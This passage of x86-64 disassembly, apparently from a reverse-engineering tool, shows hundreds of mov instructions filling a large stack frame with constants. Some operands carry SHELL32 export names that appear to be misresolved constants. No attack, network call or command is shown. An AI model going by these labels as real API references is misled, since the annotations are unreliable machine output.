mov dword [rsp + 0x8340], 0x31da
movabs rax, 0x79b47a783eb5b9
mov qword [rsp + 0x10528], rax
mov dword [rsp + 0x8344], 0x65e8
mov eax, 0xa7f
mov word [rsp + 0x1d24], ax
mov byte [rsp + 0x2a5], 0xd6
mov eax, 0xe27
mov word [rsp + 0x1d28], ax
mov byte [rsp + 0x2a6], ILClone
movabs rax, 0x78fe141fd38e36
mov qword [rsp + 0x10530], rax
mov dword [rsp + 0x8348], 0x8740
movabs rax, 0x7e75d2ce87530b
mov qword [rsp + 0x10538], rax
movabs rax, 0x79d8c1f73688e8
mov qword [rsp + 0x10540], rax
mov byte [rsp + 0x2a7], 0x39
mov byte [rsp + 0x2a8], ILGetNext
mov dword [rsp + 0x834c], 0x732
mov dword [rsp + 0x8350], 0x7141
movabs rax, 0x757682cd49fc78
mov qword [rsp + 0x10548], rax
mov dword [rsp + 0x8354], 0x14b1
mov eax, 0x5d
mov word [rsp + 0x1d2c], ax
mov eax, PathMakeUniqueName
mov word [rsp + 0x1d30], ax
mov eax, 0x8c9
mov word [rsp + 0x1d34], ax
mov eax, PathMakeUniqueName
mov word [rsp + 0x1d38], ax
mov byte [rsp + 0x2a9], 0x40
mov byte [rsp + 0x2aa], 5
mov byte [rsp + 0x2ab], SHSetInstanceExplorer
movabs rax, 0x7d05bb6d22a07b
mov qword [rsp + 0x10550], rax
mov eax, 0x482
mov word [rsp + 0x1d3c], ax
mov byte [rsp + 0x2ac], 0x7b
mov eax, 0x637
mov word [rsp + 0x1d40], ax
mov eax, 0x1bd
mov word [rsp + 0x1d44], ax
mov byte [rsp + 0x2ad], 0x69
movabs rax, 0x75edd080aab5c2
mov qword [rsp + 0x10558], rax
movabs rax, 0x71104b62379bef
mov qword [rsp + 0x10560], rax
movabs rax, 0x7a9fbf67f7f667
mov qword [rsp + 0x10568], rax
mov eax, 0x932
mov word [rsp + 0x1d48], ax
movabs rax, 0x72aa6e0c957683
mov qword [rsp + 0x10570], rax
mov dword [rsp + 0x8358], 0x40d9
mov eax, 0x236
mov word [rsp + 0x1d4c], ax
mov dword [rsp + 0x835c], 0x2206
mov dword [rsp + 0x8360], 0x4c64
mov eax, 0x6fb
mov word [rsp + 0x1d50], ax
mov byte [rsp + 0x2ae], 0x74
mov eax, reloc.SHELL32.dll_SHUpdateImageW
mov word [rsp + 0x1d54], ax
mov eax, 0xd7c
mov word [rsp + 0x1d58], ax
mov dword [rsp + 0x8364], 0x5d7d
movabs rax, 0x7acc9af5ce3245
mov qword [rsp + 0x10578], rax
mov byte [rsp + 0x2af], ILGetNext
mov byte [rsp + 0x2b0], 0xc9
movabs rax, 0x7a8e0484761fe1
mov qword [rsp + 0x10580], rax
mov byte [rsp + 0x2b1], 0xd3
movabs rax, 0x73b308255de5ae
mov qword [rsp + 0x10588], rax
mov byte [rsp + 0x2b2], ILGetSize
mov eax, 0x853
mov word [rsp + 0x1d5c], ax
mov eax, 0x1f5
mov word [rsp + 0x1d60], ax
movabs rax, 0x79f32f7bbe8da9
mov qword [rsp + 0x10590], rax
movabs rax, 0x73ef8bbe579995
mov qword [rsp + 0x10598], rax
mov byte [rsp + 0x2b3], 7
movabs rax, 0x788aae352d61bc
mov qword [rsp + 0x105a0], rax
mov byte [rsp + 0x2b4], 0x5c
movabs rax, 0x7d86670b4e9676
mov qword [rsp + 0x105a8], rax
movabs rax, 0x77850c2be3cfa2
mov qword [rsp + 0x105b0], rax
mov dword [rsp + 0x8368], 0xc7ae
mov byte [rsp + 0x2b5], 0x81
movabs rax, 0x7962427bba9460
mov qword [rsp + 0x105b8], rax
mov dword [rsp + 0x836c], 0x7573
movabs rax, 0x775e9bdea0e49f
mov qword [rsp + 0x105c0], rax
mov byte [rsp + 0x2b6], 0x70
movabs rax, 0x768b9fcefdd19c
mov qword [rsp + 0x105c8], rax
mov eax, 0x271
mov word [rsp + 0x1d64], ax
mov byte [rsp + 0x2b7], SHTestTokenMembership
mov dword [rsp + 0x8370], 0x277e
mov dword [rsp + 0x8374], 0x1cf0
mov eax, 0xa02
mov word [rsp + 0x1d68], ax
mov eax, 0x17c
mov word [rsp + 0x1d6c], ax
mov eax, 0xa89
mov word [rsp + 0x1d70], ax
mov eax, 0x996
mov word [rsp + 0x1d74], ax
mov dword [rsp + 0x8378], 0xecf7
mov byte [rsp + 0x2b8], 0x6f
mov eax, 0x940
mov word [rsp + 0x1d78], ax
mov eax, 0x5dd
mov word [rsp + 0x1d7c], ax
mov dword [rsp + 0x837c], 0x657d
mov eax, 0x882
mov word [rsp + 0x1d80], ax
mov dword [rsp + 0x8380], 0x63a4
mov eax, 0xcd0
mov word [rsp + 0x1d84], ax
movabs rax, 0x7d4f5226adc6ed
mov qword [rsp + 0x105d0], rax
movabs rax, 0x7d5a5fc36b0d86
mov qword [rsp + 0x105d8], rax
mov dword [rsp + 0x8384], 0x423d
mov dword [rsp + 0x8388], 0x2d12
mov dword [rsp + 0x838c], 0x505d
mov dword [rsp + 0x8390], 0x4133
mov eax, 0x59a
mov word [rsp + 0x1d88], ax
movabs rax, 0x7df24b3fcaaead
mov qword [rsp + 0x105e0], rax
mov eax, 0xdba
mov word [rsp + 0x1d8c], ax
mov eax, 0x1a6
mov word [rsp + 0x1d90], ax
mov eax, 0xd69
mov word [rsp + 0x1d94], ax
mov dword [rsp + 0x8394], 0x248b
movabs rax, 0x7d27f24b27b150
mov qword [rsp + 0x105e8], rax
movabs rax, 0x74dcc4ed147f6d
mov qword [rsp + 0x105f0], rax
mov byte [rsp + 0x2b9], 0x6d
mov byte [rsp + 0x2ba], 0x64
mov dword [rsp + 0x8398], 0x38ea
mov dword [rsp + 0x839c], 0x5b11
mov dword [rsp + 0x83a0], 0x8c3e
mov byte [rsp + 0x2bb], 0x5a
movabs rax, 0x7b7a9c49405fa0
mov qword [rsp + 0x105f8], rax
movabs rax, 0x782617baea382f
mov qword [rsp + 0x10600], rax
mov eax, 0x7e8
mov word [rsp + 0x1d98], ax
mov byte [rsp + 0x2bc], 0x30
movabs rax, 0x7c9e7e7c83fbb9
mov qword [rsp + 0x10608], rax
mov dword [rsp + 0x83a4], 0x4b30
movabs rax, 0x76e8a590e8e104
mov qword [rsp + 0x10610], rax
movabs rax, 0x7dd125235a8138
mov qword [rsp + 0x10618], rax
mov byte [rsp + 0x2bd], 0x65
mov byte [rsp + 0x2be], SHGetNewLinkInfoW
mov eax, 0x800
mov word [rsp + 0x1d9c], ax
mov byte [rsp + 0x2bf], 0x6f
mov eax, 0xd6
mov word [rsp + 0x1da0], ax
mov byte [rsp + 0x2c0], 0xf9
mov dword [rsp + 0x83a8], 0xb646
movabs rax, 0x76500dd279126a
mov qword [rsp + 0x10620], rax
mov byte [rsp + 0x2c1], 0x35
mov byte [rsp + 0x2c2], reloc.SHELL32.dll_SHUpdateImageW
movabs rax, 0x7245161d44aaa5
mov qword [rsp + 0x10628], rax
movabs rax, 0x78fb9e3c354ebc
mov qword [rsp + 0x10630], rax
mov eax, 0xd4c
mov word [rsp + 0x1da4], ax
mov eax, 0x444
mov word [rsp + 0x1da8], ax
mov eax, 0x3e0
mov word [rsp + 0x1dac], ax
mov byte [rsp + 0x2c3], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0x79edadf0ed14e1
mov qword [rsp + 0x10638], rax
mov dword [rsp + 0x83ac], 0x2135
movabs rax, 0x721aa2c7629799
mov qword [rsp + 0x10640], rax
mov dword [rsp + 0x83b0], 0x5048
mov dword [rsp + 0x83b4], 0x38a9
mov eax, 0x801
mov word [rsp + 0x1db0], ax
movabs rax, 0x7de623add512a7
mov qword [rsp + 0x10648], rax
mov byte [rsp + 0x2c4], 0x30
mov dword [rsp + 0x83b8], 0x6539
movabs rax, 0x7ede13c77fbb66
mov qword [rsp + 0x10650], rax
movabs rax, 0x7db981bcf0040b
mov qword [rsp + 0x10658], rax
mov byte [rsp + 0x2c5], 0x31
mov eax, 0x352
mov word [rsp + 0x1db4], ax
mov eax, 0x1b4
mov word [rsp + 0x1db8], ax
mov eax, 0xcdd
mov word [rsp + 0x1dbc], ax
mov byte [rsp + 0x2c6], 0x54
movabs rax, 0x7db47012e339be
mov qword [rsp + 0x10660], rax
mov dword [rsp + 0x83bc], 0xfd3
movabs rax, 0x77030ebcee6f59
mov qword [rsp + 0x10668], rax
movabs rax, 0x731bc5dd60ce16
mov qword [rsp + 0x10670], rax
movabs rax, 0x753ab6c52fc52e
mov qword [rsp + 0x10678], rax
mov dword [rsp + 0x83c0], 0x4777
mov eax, 0x265
mov word [rsp + 0x1dc0], ax
movabs rax, 0x7c4cd3e6814520
mov qword [rsp + 0x10680], rax
mov byte [rsp + 0x2c7], 0xc6
mov byte [rsp + 0x2c8], 0x77
mov eax, 0x24d
mov word [rsp + 0x1dc4], ax
mov byte [rsp + 0x2c9], 0x8e
mov dword [rsp + 0x83c4], 0x127b
mov byte [rsp + 0x2ca], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x2cb], 0x7d
mov eax, 0x749
mov word [rsp + 0x1dc8], ax
movabs rax, 0x72ca24624efc96
mov qword [rsp + 0x10688], rax
mov byte [rsp + 0x2cc], 0xc7
mov dword [rsp + 0x83c8], 0x1d30
mov eax, 0xd85
mov word [rsp + 0x1dcc], ax
mov eax, 0x2b6
mov word [rsp + 0x1dd0], ax
mov byte [rsp + 0x2cd], SHUpdateImageW
mov eax, 0x70
mov word [rsp + 0x1dd4], ax
mov dword [rsp + 0x83cc], 0x4ff6
mov eax, 0x5ed
mov word [rsp + 0x1dd8], ax
mov dword [rsp + 0x83d0], 0x60a1
mov byte [rsp + 0x2ce], 0x8c
movabs rax, 0x7e976f4bb0fe97
mov qword [rsp + 0x10690], rax
mov eax, 0x467
mov word [rsp + 0x1ddc], ax
mov dword [rsp + 0x83d4], 0x6b20
movabs rax, 0x7af9bb138c1ae0
mov qword [rsp + 0x10698], rax
mov eax, 0xb87
mov word [rsp + 0x1de0], ax
movabs rax, 0x78bcfabb833f50
mov qword [rsp + 0x106a0], rax
mov eax, 0xa4d
mov word [rsp + 0x1de4], ax
mov eax, 0xeef
mov word [rsp + 0x1de8], ax
mov byte [rsp + 0x2cf], ILClone
mov dword [rsp + 0x83d8], 0x5547
movabs rax, 0x7ce99703ae6920
mov qword [rsp + 0x106a8], rax
mov byte [rsp + 0x2d0], 0x57
mov eax, 0x412
mov word [rsp + 0x1dec], ax
mov dword [rsp + 0x83dc], 0x72a3
movabs rax, 0x765f7566e1d016
mov qword [rsp + 0x106b0], rax
mov byte [rsp + 0x2d1], 0x88
mov dword [rsp + 0x83e0], 0x703
mov dword [rsp + 0x83e4], 0xb284
mov dword [rsp + 0x83e8], 0x1744
mov byte [rsp + 0x2d2], PathMakeUniqueName
mov eax, 0xc89
mov word [rsp + 0x1df0], ax
mov dword [rsp + 0x83ec], 0x30f9
mov eax, 0x68b
mov word [rsp + 0x1df4], ax
mov byte [rsp + 0x2d3], 0xea
mov eax, 0xec7
mov word [rsp + 0x1df8], ax
mov eax, 0xba5
mov word [rsp + 0x1dfc], ax
mov dword [rsp + 0x83f0], 0x6173
mov byte [rsp + 0x2d4], 0x5d
mov eax, 0xc2a
mov word [rsp + 0x1e00], ax
movabs rax, 0x7c1bc47777e286
mov qword [rsp + 0x106b8], rax
movabs rax, 0x75230e9716cddb
mov qword [rsp + 0x106c0], rax
mov dword [rsp + 0x83f4], 0x1779
mov eax, 0x316
mov word [rsp + 0x1e04], ax
mov dword [rsp + 0x83f8], 0x8e6
mov dword [rsp + 0x83fc], 0xc4ca
mov byte [rsp + 0x2d5], 0x72
movabs rax, 0x75ee871cf91c6c
mov qword [rsp + 0x106c8], rax
mov dword [rsp + 0x8400], 0x4584
mov dword [rsp + 0x8404], 0x85b
mov dword [rsp + 0x8408], 0x803e
movabs rax, 0x735368ff5b625c
mov qword [rsp + 0x106d0], rax
mov byte [rsp + 0x2d6], SHTestTokenMembership
mov eax, 0xd85
mov word [rsp + 0x1e08], ax
mov dword [rsp + 0x840c], 0x7276
movabs rax, 0x7ee0362793b2f3
mov qword [rsp + 0x106d8], rax
movabs rax, 0x76b221cdfbcd3f
mov qword [rsp + 0x106e0], rax
mov byte [rsp + reloc.SHELL32.dll_SHGetImageList], 0x5d
movabs rax, 0x732d30d98d919d
mov qword [rsp + 0x106e8], rax
mov byte [rsp + 0x2d8], 0xc8
movabs rax, 0x7cf6a387369a2e
mov qword [rsp + 0x106f0], rax
movabs rax, 0x7c65c56e9d714b
mov qword [rsp + 0x106f8], rax
mov eax, 0x167
mov word [rsp + 0x1e0c], ax
mov byte [rsp + 0x2d9], 0x42
mov byte [rsp + 0x2da], 0x9d
mov byte [rsp + 0x2db], reloc.SHELL32.dll_ILFree
movabs rax, 0x70c20d779aa67d
mov qword [rsp + 0x10700], rax
mov eax, 0xc65
mov word [rsp + 0x1e10], ax
movabs rax, 0x79f6838ad04c42
mov qword [rsp + 0x10708], rax
mov byte [rsp + 0x2dc], 0x37
mov dword [rsp + 0x8410], 0x3634
mov byte [rsp + 0x2dd], 0x39
movabs rax, 0x703e73494f4144
mov qword [rsp + 0x10710], rax
movabs rax, 0x74f938a6ff1cf9
mov qword [rsp + 0x10718], rax
movabs rax, 0x71ba19d979707d
mov qword [rsp + 0x10720], rax
mov dword [rsp + 0x8414], 0x493c
mov dword [rsp + 0x8418], 0xd7b7
mov eax, 0x70e
mov word [rsp + 0x1e14], ax
mov dword [rsp + 0x841c], 0xeeba
mov eax, SHUpdateImageW
mov word [rsp + 0x1e18], ax
mov byte [rsp + 0x2de], 0x7c
mov eax, 0x51b
mov word [rsp + 0x1e1c], ax
mov dword [rsp + 0x8420], 0x748e
movabs rax, 0x714dd09634e6aa
mov qword [rsp + 0x10728], rax
movabs rax, 0x7596a072df0056
mov qword [rsp + 0x10730], rax
mov byte [rsp + 0x2df], 0xa0
mov byte [rsp + 0x2e0], 0x41
mov eax, 0x42a
mov word [rsp + 0x1e20], ax
mov dword [rsp + 0x8424], 0xcb17
mov dword [rsp + 0x8428], 0x2a9
mov eax, 0x262
mov word [rsp + 0x1e24], ax
mov byte [rsp + 0x2e1], 0x6a
movabs rax, 0x72ab833b59228d
mov qword [rsp + 0x10738], rax
mov dword [rsp + 0x842c], 0x6b86
mov eax, 0x40e
mov word [rsp + 0x1e28], ax
mov byte [rsp + 0x2e2], reloc.SHELL32.dll_ILGetNext
movabs rax, 0x7a2db0dea11898
mov qword [rsp + 0x10740], rax
movabs rax, 0x7e085c490b7b0a
mov qword [rsp + 0x10748], rax
mov byte [rsp + 0x2e3], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x8430], 0x24c8
mov dword [rsp + 0x8434], 0x2199
mov eax, 0x41d
mov word [rsp + 0x1e2c], ax
mov eax, 0x5ca
mov word [rsp + 0x1e30], ax
mov eax, 0x7f5
mov word [rsp + 0x1e34], ax
mov dword [rsp + 0x8438], 0x2c69
mov byte [rsp + 0x2e4], 7
mov dword [rsp + 0x843c], 0x4858
mov eax, 0x5c4
mov word [rsp + 0x1e38], ax
mov byte [rsp + 0x2e5], 0x83
movabs rax, 0x7c167040d0470b
mov qword [rsp + 0x10750], rax
mov byte [rsp + 0x2e6], 0x5d
movabs rax, 0x7dab037d5b6d89
mov qword [rsp + 0x10758], rax
mov dword [rsp + 0x8440], 0x1a6b
movabs rax, 0x79f06ab26a9182
mov qword [rsp + 0x10760], rax
mov byte [rsp + 0x2e7], ILSaveToStream
mov dword [rsp + 0x8444], 0xaca4
movabs rax, 0x7353f0d54deb9f
mov qword [rsp + 0x10768], rax
movabs rax, 0x742bac47e0624f
mov qword [rsp + 0x10770], rax
mov dword [rsp + 0x8448], 0x56c5
mov dword [rsp + 0x844c], 0x2601
mov dword [rsp + 0x8450], 0x4d79
mov eax, 0xecc
mov word [rsp + 0x1e3c], ax
mov dword [rsp + 0x8454], 0xe6e9
movabs rax, 0x761097c902869b
mov qword [rsp + 0x10778], rax
mov eax, 0xff2
mov word [rsp + 0x1e40], ax
mov eax, 0xd2c
mov word [rsp + 0x1e44], ax
movabs rax, 0x7a02d4165ea2a8
mov qword [rsp + 0x10780], rax
mov eax, 0xb8c
mov word [rsp + 0x1e48], ax
movabs rax, 0x7b0855aa5318fd
mov qword [rsp + 0x10788], rax
mov eax, 0xdf
mov word [rsp + 0x1e4c], ax
movabs rax, 0x7130bbd8df58d1
mov qword [rsp + 0x10790], rax
mov byte [rsp + 0x2e8], 0x73
movabs rax, 0x7266b195552f8c
mov qword [rsp + 0x10798], rax
mov byte [rsp + 0x2e9], 0x73
mov eax, 0xd35
mov word [rsp + 0x1e50], ax
mov eax, 0x9b9
mov word [rsp + 0x1e54], ax
mov eax, 0x580
mov word [rsp + 0x1e58], ax
mov dword [rsp + 0x8458], 0x31f9
mov eax, 0x361
mov word [rsp + 0x1e5c], ax
mov eax, 0x388
mov word [rsp + 0x1e60], ax
mov dword [rsp + 0x845c], 0x9dc
movabs rax, 0x7e6a7c0e59cdca
mov qword [rsp + 0x107a0], rax
mov eax, 0x61c
mov word [rsp + 0x1e64], ax
mov dword [rsp + 0x8460], 0x66eb
mov eax, 0x472
mov word [rsp + 0x1e68], ax
mov dword [rsp + 0x8464], 0x7be5
mov dword [rsp + 0x8468], 0x3ca9
mov byte [rsp + 0x2ea], 0x52
mov dword [rsp + 0x846c], 0x114
movabs rax, 0x70d3e6c9f5b114
mov qword [rsp + 0x107a8], rax
mov eax, 0x151
mov word [rsp + 0x1e6c], ax
mov dword [rsp + 0x8470], 0x50c0
mov byte [rsp + 0x2eb], 0x63
movabs rax, 0x7edab806b12943
mov qword [rsp + 0x107b0], rax
mov dword [rsp + 0x8474], 0x192d
mov dword [rsp + 0x8478], 0x11c2
mov dword [rsp + 0x847c], 0xf12d
mov byte [rsp + 0x2ec], SHGetNewLinkInfoW
movabs rax, 0x7c4f163955059b
mov qword [rsp + 0x107b8], rax
movabs rax, 0x7b1e88790afe01
mov qword [rsp + 0x107c0], rax
mov dword [rsp + 0x8480], 0x6053
movabs rax, 0x77961ef46fd05f
mov qword [rsp + 0x107c8], rax
mov dword [rsp + 0x8484], 0xa327
movabs rax, 0x75342aa11a29a8
mov qword [rsp + 0x107d0], rax
movabs rax, 0x7be1e6f3b92a96
mov qword [rsp + 0x107d8], rax
movabs rax, 0x70215420b24a68
mov qword [rsp + 0x107e0], rax
mov dword [rsp + 0x8488], 0x4b0a
mov dword [rsp + 0x848c], 0xfd61
movabs rax, 0x798926e0f4138f
mov qword [rsp + 0x107e8], rax
movabs rax, 0x7e9a77e96cd4d7
mov qword [rsp + 0x107f0], rax
mov dword [rsp + 0x8490], 0x5365
mov dword [rsp + 0x8494], 0xaf4
mov dword [rsp + 0x8498], 0x2fd9
mov dword [rsp + 0x849c], 0x56b8
mov byte [rsp + 0x2ed], 0x8b
mov dword [rsp + 0x84a0], 0xf904
mov dword [rsp + 0x84a4], 0xf8b2
mov dword [rsp + 0x84a8], 0x1429
mov dword [rsp + 0x84ac], 0x53e9
mov dword [rsp + 0x84b0], 0x5afa
mov dword [rsp + 0x84b4], 0xc2f0
mov byte [rsp + 0x2ee], 0x6d
movabs rax, 0x7e336340c7a736
mov qword [rsp + 0x107f8], rax
mov dword [rsp + 0x84b8], 0x270c
movabs rax, 0x75cc54bab52fd4
mov qword [rsp + 0x10800], rax
movabs rax, 0x702a59e0772fd2
mov qword [rsp + 0x10808], rax
mov eax, 0x29c
mov word [rsp + 0x1e70], ax
mov dword [rsp + 0x84bc], 0x54d2
mov eax, 0xd6f
mov word [rsp + 0x1e74], ax
mov byte [rsp + 0x2ef], 0x3b
mov eax, 0x614
mov word [rsp + 0x1e78], ax
mov dword [rsp + 0x84c0], 0x4d08
movabs rax, 0x74fec931babbdc
mov qword [rsp + 0x10810], rax
movabs rax, 0x79d89a334261f8
mov qword [rsp + 0x10818], rax
mov dword [rsp + 0x84c4], 0x1a07
movabs rax, 0x768ef1a1105d44
mov qword [rsp + 0x10820], rax
mov dword [rsp + 0x84c8], 0x414c
mov eax, 0xce7
mov word [rsp + 0x1e7c], ax
mov eax, 0xf53
mov word [rsp + 0x1e80], ax
movabs rax, 0x765f7d0a2d7886
mov qword [rsp + 0x10828], rax
movabs rax, 0x72cf7e491c0974
mov qword [rsp + 0x10830], rax
mov dword [rsp + 0x84cc], 0x3594
mov eax, 0x74a
mov word [rsp + 0x1e84], ax
mov eax, 0xd73
mov word [rsp + 0x1e88], ax
movabs rax, 0x71c69a5ff017e4
mov qword [rsp + 0x10838], rax
mov dword [rsp + 0x84d0], 0x2a56
mov dword [rsp + 0x84d4], 0x94f1
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x1e8c], ax
mov dword [rsp + 0x84d8], 0x83d0
mov eax, 0x267
mov word [rsp + 0x1e90], ax
mov byte [rsp + 0x2f0], ILGetNext
mov byte [rsp + 0x2f1], PathYetAnotherMakeUniqueName
mov eax, 0xb92
mov word [rsp + 0x1e94], ax
mov eax, 0x1da
mov word [rsp + 0x1e98], ax
movabs rax, 0x72cdc1a4cbe013
mov qword [rsp + 0x10840], rax
mov byte [rsp + 0x2f2], 0x13
mov dword [rsp + 0x84dc], 0x9efe
movabs rax, 0x73adae30bf4c43
mov qword [rsp + 0x10848], rax
mov dword [rsp + 0x84e0], 0x11ae
mov dword [rsp + 0x84e4], 0xcb11
movabs rax, 0x75b0a1666bf666
mov qword [rsp + 0x10850], rax
movabs rax, 0x7ad346e293b9be
mov qword [rsp + 0x10858], rax
mov eax, 0x27
mov word [rsp + 0x1e9c], ax
mov dword [rsp + 0x84e8], 0x5f68
movabs rax, 0x7cc25034cf6b8f
mov qword [rsp + 0x10860], rax
mov dword [rsp + 0x84ec], 0xd665
mov eax, 0x106
mov word [rsp + 0x1ea0], ax
mov eax, 0xb15
mov word [rsp + 0x1ea4], ax
mov dword [rsp + 0x84f0], 0x27f5
movabs rax, 0x7008acfb5785c6
mov qword [rsp + 0x10868], rax
mov dword [rsp + 0x84f4], 0x2ff6
mov dword [rsp + 0x84f8], 0xb26e
movabs rax, 0x7a9c770a0002e8
mov qword [rsp + 0x10870], rax
movabs rax, 0x73dcba68a337c9
mov qword [rsp + 0x10878], rax
mov byte [rsp + 0x2f3], 9
movabs rax, 0x7b13d7519addb7
mov qword [rsp + 0x10880], rax
mov byte [rsp + 0x2f4], 0x6e
mov byte [rsp + 0x2f5], 0x5e
mov eax, 0x698
mov word [rsp + 0x1ea8], ax
movabs rax, 0x7d9d5c1c381801
mov qword [rsp + 0x10888], rax
mov byte [rsp + 0x2f6], reloc.SHELL32.dll_ILRemoveLastID
mov eax, 0x3fd
mov word [rsp + 0x1eac], ax
movabs rax, 0x7c81d4faa1d307
mov qword [rsp + 0x10890], rax
movabs rax, 0x73fc2e8c49aa33
mov qword [rsp + 0x10898], rax
mov dword [rsp + 0x84fc], 0xf697
mov byte [rsp + 0x2f7], 0x33
mov dword [rsp + 0x8500], 0x31ee
mov byte [rsp + 0x2f8], 0x61
mov byte [rsp + 0x2f9], 0x33
mov dword [rsp + 0x8504], 0x139b
mov dword [rsp + 0x8508], 0xd91
mov byte [rsp + 0x2fa], 0xb5
mov byte [rsp + 0x2fb], 0x43
mov eax, 0x5dd
mov word [rsp + 0x1eb0], ax
movabs rax, 0x75431de5a4ca76
mov qword [rsp + 0x108a0], rax
mov eax, 0x42b
mov word [rsp + 0x1eb4], ax
movabs rax, 0x766705cfdbfbfd
mov qword [rsp + 0x108a8], rax
mov eax, 0x920
mov word [rsp + 0x1eb8], ax
mov dword [rsp + 0x850c], 0xb5ce
mov byte [rsp + 0x2fc], SHUpdateImageW
movabs rax, 0x793fdfe1794504
mov qword [rsp + 0x108b0], rax
movabs rax, 0x749cdc49fee96f
mov qword [rsp + 0x108b8], rax
movabs rax, 0x70f75ba367332f
mov qword [rsp + 0x108c0], rax
movabs rax, 0x7ae67732a895eb
mov qword [rsp + 0x108c8], rax
mov byte [rsp + 0x2fd], PathYetAnotherMakeUniqueName
movabs rax, 0x7a81bd9a6e2d0b
mov qword [rsp + 0x108d0], rax
mov dword [rsp + 0x8510], 0x77a4
mov eax, 0x588
mov word [rsp + 0x1ebc], ax
mov dword [rsp + 0x8514], 0x3abd
mov byte [rsp + 0x2fe], 1
mov byte [rsp + 0x2ff], ILSaveToStream
movabs rax, 0x7b766b0d17ffb2
mov qword [rsp + 0x108d8], rax
mov eax, 0x68d
mov word [rsp + 0x1ec0], ax
mov byte [rsp + 0x300], 0x72
mov dword [rsp + 0x8518], 0x2426
mov eax, 0x5a0
mov word [rsp + 0x1ec4], ax
movabs rax, 0x7314adfc852a1b
mov qword [rsp + 0x108e0], rax
mov eax, 0x5ef
mov word [rsp + 0x1ec8], ax
mov byte [rsp + 0x301], 0xd4
mov eax, 0x484
mov word [rsp + 0x1ecc], ax
mov byte [rsp + 0x302], 0xe5
mov dword [rsp + 0x851c], 0x1a01
mov dword [rsp + 0x8520], 0xb625
mov dword [rsp + 0x8524], 0x4dfd
mov eax, 0xd42
mov word [rsp + 0x1ed0], ax
mov dword [rsp + 0x8528], 0x31e7
mov dword [rsp + 0x852c], 0x15d0
movabs rax, 0x7e08307d820f88
mov qword [rsp + 0x108e8], rax
mov dword [rsp + 0x8530], 0x2c0a
mov eax, 0x491
mov word [rsp + 0x1ed4], ax
movabs rax, 0x73e8fe75c79d77
mov qword [rsp + 0x108f0], rax
mov eax, 0x42a
mov word [rsp + 0x1ed8], ax
mov byte [rsp + 0x303], 0xb8
movabs rax, 0x7e13d2cfb9cec6
mov qword [rsp + 0x108f8], rax
movabs rax, 0x781988b3f9899c
mov qword [rsp + 0x10900], rax
mov byte [rsp + 0x304], 0x35
mov eax, 0x143
mov word [rsp + 0x1edc], ax
movabs rax, 0x751723b5d4d1b0
mov qword [rsp + 0x10908], rax
mov byte [rsp + 0x305], 0x3d
mov dword [rsp + 0x8534], 0x5ff3
mov eax, 0x2a9
mov word [rsp + 0x1ee0], ax
movabs rax, 0x72e134921bc28d
mov qword [rsp + 0x10910], rax
mov eax, 0xff8
mov word [rsp + 0x1ee4], ax
mov byte [rsp + 0x306], 0x5f
movabs rax, 0x7c89b2a49dc607
mov qword [rsp + 0x10918], rax
mov byte [rsp + 0x307], SHUpdateImageW
mov byte [rsp + 0x308], 0x38
movabs rax, 0x7ebb33fbb7eb44
mov qword [rsp + 0x10920], rax
mov dword [rsp + 0x8538], 0x6505
movabs rax, 0x78cc450a665124
mov qword [rsp + 0x10928], rax
mov byte [rsp + 0x309], 0x87
mov byte [rsp + 0x30a], 0x6d
mov byte [rsp + 0x30b], 0x24
mov byte [rsp + 0x30c], 0xe7
mov dword [rsp + 0x853c], 0x205c
mov dword [rsp + 0x8540], 0x1ce1
mov dword [rsp + 0x8544], 0x9b45
mov eax, 0xc27
mov word [rsp + 0x1ee8], ax
mov dword [rsp + 0x8548], 0x7f54
movabs rax, 0x7b8e249c99fb4c
mov qword [rsp + 0x10930], rax
mov dword [rsp + 0x854c], 0x5e1
mov eax, 0x210
mov word [rsp + 0x1eec], ax
mov eax, 0x364
mov word [rsp + 0x1ef0], ax
mov dword [rsp + 0x8550], 0x1275
mov eax, 0xdbc
mov word [rsp + 0x1ef4], ax
movabs rax, 0x74ee003df0f628
mov qword [rsp + 0x10938], rax
mov byte [rsp + 0x30d], 0xda
movabs rax, 0x7d97150ef450e0
mov qword [rsp + 0x10940], rax
movabs rax, 0x796c582b2c672d
mov qword [rsp + 0x10948], rax
mov dword [rsp + 0x8554], 0x4e15
movabs rax, 0x72418afaafc5ac
mov qword [rsp + 0x10950], rax
mov eax, 0x1f2
mov word [rsp + 0x1ef8], ax
movabs rax, 0x790ddcb5ece618
mov qword [rsp + 0x10958], rax
mov dword [rsp + 0x8558], 0x791c
mov dword [rsp + 0x855c], 0x306d
movabs rax, 0x7a2013b184cdd4
mov qword [rsp + 0x10960], rax
mov dword [rsp + 0x8560], 0x29ec
movabs rax, 0x71ad149737804d
mov qword [rsp + 0x10968], rax
mov dword [rsp + 0x8564], 0x2332
mov dword [rsp + 0x8568], 0x34ca
mov eax, 0x364
mov word [rsp + 0x1efc], ax
mov dword [rsp + 0x856c], 0xc9b4
mov dword [rsp + 0x8570], 0x8862
mov byte [rsp + 0x30e], 0x54
mov dword [rsp + 0x8574], 0xdca6
mov dword [rsp + 0x8578], 0x6b06
mov dword [rsp + 0x857c], 0xc6e0
mov eax, 0x432
mov word [rsp + 0x1f00], ax
movabs rax, 0x7da87d3ebe88c1
mov qword [rsp + 0x10970], rax
mov dword [rsp + 0x8580], 0x719b
movabs rax, 0x787e406e3b09dc
mov qword [rsp + 0x10978], rax
mov eax, 0xbd1
mov word [rsp + 0x1f04], ax
mov dword [rsp + 0x8584], 0x306d
mov eax, 0xd0c
mov word [rsp + 0x1f08], ax
movabs rax, 0x77eab53fb5fb5b
mov qword [rsp + 0x10980], rax
mov dword [rsp + 0x8588], 0x698a
mov byte [rsp + 0x30f], 0xc7
mov dword [rsp + 0x858c], 0x7492
mov dword [rsp + 0x8590], 0xd133
mov eax, 0x2af
mov word [rsp + 0x1f0c], ax
mov dword [rsp + 0x8594], 0xa4f6
movabs rax, 0x7053de1f6e0721
mov qword [rsp + 0x10988], rax
movabs rax, 0x7e4a3a2b7b40ba
mov qword [rsp + 0x10990], rax
movabs rax, 0x74ea507a9947f6
mov qword [rsp + 0x10998], rax
movabs rax, 0x7ce6d4ab6c0b5f
mov qword [rsp + 0x109a0], rax
mov dword [rsp + 0x8598], 0x928
movabs rax, 0x73104695cb0c29
mov qword [rsp + 0x109a8], rax
movabs rax, 0x7d24978646ef59
mov qword [rsp + 0x109b0], rax
mov eax, 0x483
mov word [rsp + 0x1f10], ax
